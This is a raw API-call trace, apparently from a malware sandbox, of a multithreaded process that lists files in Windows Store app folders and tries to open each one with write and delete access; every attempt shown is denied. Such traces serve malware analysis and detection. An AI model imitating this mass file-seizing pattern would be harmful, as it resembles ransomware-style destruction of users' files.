	[0085.102] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.102] GetLastError () returned 0x5
	[0085.102] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0085.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732920) returned 1

Thread:
	id = 489
	os_tid = 0x16cc

	[0077.400] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0085.100] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.100] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.101] GetLastError () returned 0x5
	[0085.101] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86140) returned 1

Thread:
	id = 490
	os_tid = 0x16d0

	[0077.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x4732a38
	[0077.402] wcscpy (in: _Dest=0x4732a38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.402] wcscat (in: _Dest=0x4732a38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0077.402] wcscat (in: _Dest=0x4732a38, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0077.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14560
	[0077.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x391eadfd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabe0794e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ad28
	[0084.513] wcscmp (_String1=".", _String2=".") returned 0
	[0084.513] FindNextFileW (in: hFindFile=0x477ad28, lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x391eadfd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabe0794e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.513] wcscmp (_String1="..", _String2=".") returned 1
	[0084.513] wcscmp (_String1="..", _String2="..") returned 0
	[0084.513] FindNextFileW (in: hFindFile=0x477ad28, lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391eadfd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x391eadfd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x391eadfd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5415, dwReserved0=0x0, dwReserved1=0x0, cFileName="ads_win10_300x250.scale-100.jpg", cAlternateFileName="")) returned 1
	[0084.513] wcscmp (_String1="ads_win10_300x250.scale-100.jpg", _String2=".") returned 1
	[0084.513] wcscmp (_String1="ads_win10_300x250.scale-100.jpg", _String2="..") returned 1
	[0084.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x4731668
	[0084.513] wcscpy (in: _Dest=0x4731668, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0084.513] wcscat (in: _Dest=0x4731668, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0084.513] wcscat (in: _Dest=0x4731668, _Source="ads_win10_300x250.scale-100.jpg" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\ads_win10_300x250.scale-100.jpg") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\ads_win10_300x250.scale-100.jpg"

Thread:
	id = 491
	os_tid = 0x16d4

	[0077.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x134) returned 0x2d849e0
	[0077.402] wcscpy (in: _Dest=0x2d849e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.402] wcscat (in: _Dest=0x2d849e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.402] wcscat (in: _Dest=0x2d849e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14a30
	[0077.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96ea5b4, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ad68
	[0085.103] wcscmp (_String1=".", _String2=".") returned 0
	[0085.103] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96ea5b4, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.103] wcscmp (_String1="..", _String2=".") returned 1
	[0085.103] wcscmp (_String1="..", _String2="..") returned 0
	[0085.103] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96ea5b4, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.103] FindClose (in: hFindFile=0x477ad68 | out: hFindFile=0x477ad68) returned 1
	[0085.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e14a30) returned 1
	[0085.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d849e0) returned 1
	[0085.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db1470) returned 1

Thread:
	id = 492
	os_tid = 0x16d8

	[0077.403] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0085.097] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0085.097] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.098] GetLastError () returned 0x5
	[0085.098] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0085.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db15a8) returned 1

Thread:
	id = 493
	os_tid = 0x16dc

	[0077.404] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.814] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.814] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.879] GetLastError () returned 0x5
	[0081.879] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.879] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48c48) returned 1

Thread:
	id = 494
	os_tid = 0x16e0

	[0077.404] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.813] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.813] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.813] GetLastError () returned 0x5
	[0081.813] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e928) returned 1

Thread:
	id = 495
	os_tid = 0x16e4

	[0077.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4790a60
	[0077.405] wcscpy (in: _Dest=0x4790a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.405] wcscat (in: _Dest=0x4790a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0077.405] wcscat (in: _Dest=0x4790a60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0077.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14c98
	[0077.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62aca818, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4070c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62aca818, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87f78
	[0081.813] wcscmp (_String1=".", _String2=".") returned 0
	[0081.813] FindNextFileW (in: hFindFile=0x2d87f78, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62aca818, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4070c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62aca818, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.813] wcscmp (_String1="..", _String2=".") returned 1
	[0081.813] wcscmp (_String1="..", _String2="..") returned 0
	[0081.813] FindNextFileW (in: hFindFile=0x2d87f78, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62aca818, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62aca818, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62aca818, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0081.813] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0081.813] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0081.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4765910
	[0081.813] wcscpy (in: _Dest=0x4765910, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0081.813] wcscat (in: _Dest=0x4765910, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0081.813] wcscat (in: _Dest=0x4765910, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.862] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.863] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.863] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.863] GetLastError () returned 0x5
	[0091.863] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765910) returned 1
	[0091.864] FindNextFileW (in: hFindFile=0x2d87f78, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62aca818, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62aca818, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62aca818, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.864] FindClose (in: hFindFile=0x2d87f78 | out: hFindFile=0x2d87f78) returned 1
	[0091.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e14c98) returned 1
	[0091.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790a60) returned 1
	[0091.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ea10) returned 1

Thread:
	id = 496
	os_tid = 0x16e8

	[0077.406] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0081.815] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.815] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.930] GetLastError () returned 0x5
	[0081.931] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498eaf0) returned 1

Thread:
	id = 497
	os_tid = 0x16ec

	[0077.406] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\filesystemmetadata.xml")) returned 0x20
	[0081.996] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml", dwFileAttributes=0x20) returned 0
	[0085.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\filesystemmetadata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.247] GetLastError () returned 0x5
	[0085.247] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml", dwFileAttributes=0x20) returned 0
	[0085.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ebd8) returned 1

Thread:
	id = 498
	os_tid = 0x16f0

	[0077.408] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml.md" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\filesystemmetadata.xml.md")) returned 0x20
	[0081.973] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml.md", dwFileAttributes=0x20) returned 0
	[0081.973] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml.md" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\filesystemmetadata.xml.md"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.973] GetLastError () returned 0x5
